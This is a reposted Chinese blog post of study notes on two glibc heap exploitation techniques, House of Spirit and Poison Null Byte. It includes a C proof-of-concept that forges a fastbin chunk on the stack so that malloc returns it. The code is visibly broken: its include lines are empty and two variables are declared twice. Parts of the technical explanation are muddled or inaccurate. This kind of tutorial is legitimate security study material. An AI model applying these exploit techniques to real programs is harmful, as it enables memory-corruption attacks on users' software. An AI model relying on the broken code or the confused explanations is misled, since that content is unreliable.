博客
关于我
How2Heap笔记(三)
阅读量:566 次
发布时间:2019-03-11

本文共 2584 字,大约阅读时间需要 8 分钟。

House of Spirit Attack

1. house_of_spirit

房子精神攻击(house_of_spirit)是一种基于glibcfastbin的堆攻击技术。它结合了堆Exploit和fastbin攻击,通过构造伪造的堆块,使得攻击者能够控制后续的内存分配和释放过程,从而获得程序的控制权。

技术原理

房子精神攻击的核心思想是利用fastbin(快速分配单元)的特性,通过构造伪造的heap chunk,隐藏实际控制流的溢出漏洞。以下是房子精神攻击的关键步骤:

  • 伪造Fastbin块:攻击者在栈中预留一块内存区域,伪造出一个fastbin结构,包含size和nextsize等关键字段。这样,该块可以像一个真正的fastbin块一样被glibc接受和处理。

  • 控制heap指针:攻击者将栈中的指针*a设置为伪造的fastbin块的地址。通过调用free(a),glibc释放这个伪造的块,并将其加入fastbin。

  • 利用malloc:下次为特定大小(如0x30)调用malloc时,glibc会从fastbin中取出伪造的块,并将其返回给应用程序。此时,攻击者可以通过已控制的块进一步修改堆内存布局,或者直接控制程序的执行流。

  • 房子精神攻击的关键是绕过传统的stack overflow利用方式,而是通过fastbin机制,让攻击者能够控制heap中的特定区域,从而达到漏洞利用的目的。

    示例代码

    以下是一个实现房子精神攻击的glibc 2.23源代码示例:

    #include 
    #include
    #include
    #include
    #include < malloc.h>int main() { unsigned long long *a; unsigned long long fake_chunks[10] __attribute__((aligned(16))); fprintf(stderr, "This file demonstrates the house of spirit attack.\n"); fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n"); malloc(1); fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]); fake_chunks[1] = 0x40; // 第一块的大小 fake_chunks[9] = 0x1234; // 第二块的next_size unsigned long long *a = &fake_chunks[2]; fprintf(stderr, "Freeing the overwritten pointer.\n"); free(a); fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); printf("malloc(0x30): %p\n", malloc(0x30)); return 0;}

    实施步骤

  • 初始化伪造块:声明一个伪造的fake_chunks数组,该数组需要满足fastbin块的对齐要求(在glibc中,fastbin块需要16字节对齐)。

  • 设置块属性:通过设置fake_chunks[1]的值为0x40(块大小),和fake_chunks[9]的值为0x1234(块的下一个块的大小),伪造出一个合法的fastbin块结构。

  • 准备攻击指针:声明*a指针,用于指向伪造的块。

  • 释放指针:调用free(a),释放a指针所指的伪造块,并将其加入fastbin列表中。

  • 触发攻击:调用malloc(0x30),glibc将从fastbin中获取伪造的块,返回其地址。由于攻击者控制了块的内存区域,攻击者可以进一步利用该地址控制程序的行为。

  • 2. Poison Null Byte

    poison null byte攻击则是一种类似的堆利用技术,但它基于glibc中堆管理中的单字节溢出漏洞。该漏洞允许攻击者在特定条件下,控制堆中的某些指针,进而获得程序的控制权。

    实施步骤

  • 识别漏洞:首先,攻击者需要找到一个内存块,它在被释放后,会导致下一个块的指针被覆写。

  • 利用单字节溢出:攻击者将一个字节写入释放块的size字段,使得即将被释放的块占用空间超过它原本的大小。

  • 绕过glibc检查:在glibc中,确认当释放被覆写的块时,glibc不会标记该块为损坏或错误,从而允许进一步的别块分配和利用。

  • 控制key chunk:攻击者需要控制被覆写块的下一个块,以实现对堆内存的进一步控制。

  • 获取控制权:攻击者可以通过读写被控制的块中的数据(如函数返回地址),从而获得程序的完整控制权。

  • 总结

    房子精神攻击和poison null byte攻击均依赖于堆利用漏洞,通过对堆内存结构和fastbin机制的深入理解,攻击者能够绕过传统的栈溢出方法,实施更复杂和隐蔽的攻击。

    转载地址:http://zdevz.baihongyu.com/

    你可能感兴趣的文章
    Xception 设计进化
    查看>>
    【Bootstrap5】精细学习记录
    查看>>
    SkyWalking性能剖析
    查看>>
    LeetCode197.打家劫舍
    查看>>
    A simple problem HDU-2522 【数学技巧】
    查看>>
    487-3279 POJ-1022【前导0~思维漏洞】
    查看>>
    Struts2-从值栈获取list集合数据(三种方式)
    查看>>
    vscode中快速生成vue模板
    查看>>
    QT报make: Circular all <- first dependency dropped.错误解决。
    查看>>
    demo---购物车的多条记录保存(cookie)
    查看>>
    参考图像
    查看>>
    *.json: [“usingComponents“][“van-button“] 未找到
    查看>>
    设计模式(18)——中介者模式
    查看>>
    用JavaScript实现希尔排序
    查看>>
    python初学者容易犯的错误
    查看>>
    error LNK2019:无法解析的外部符号_imp_CryptAcquireContextA@20
    查看>>
    Qt之QImage无法获取图片尺寸(宽和高)
    查看>>
    推荐几篇近期必看的视觉综述,含GAN、Transformer、人脸超分辨、遥感等
    查看>>
    ERROR 1840 (HY000) at line 24: @@GLOBAL.GTID_PURGED
    查看>>
    Java-类加载过程
    查看>>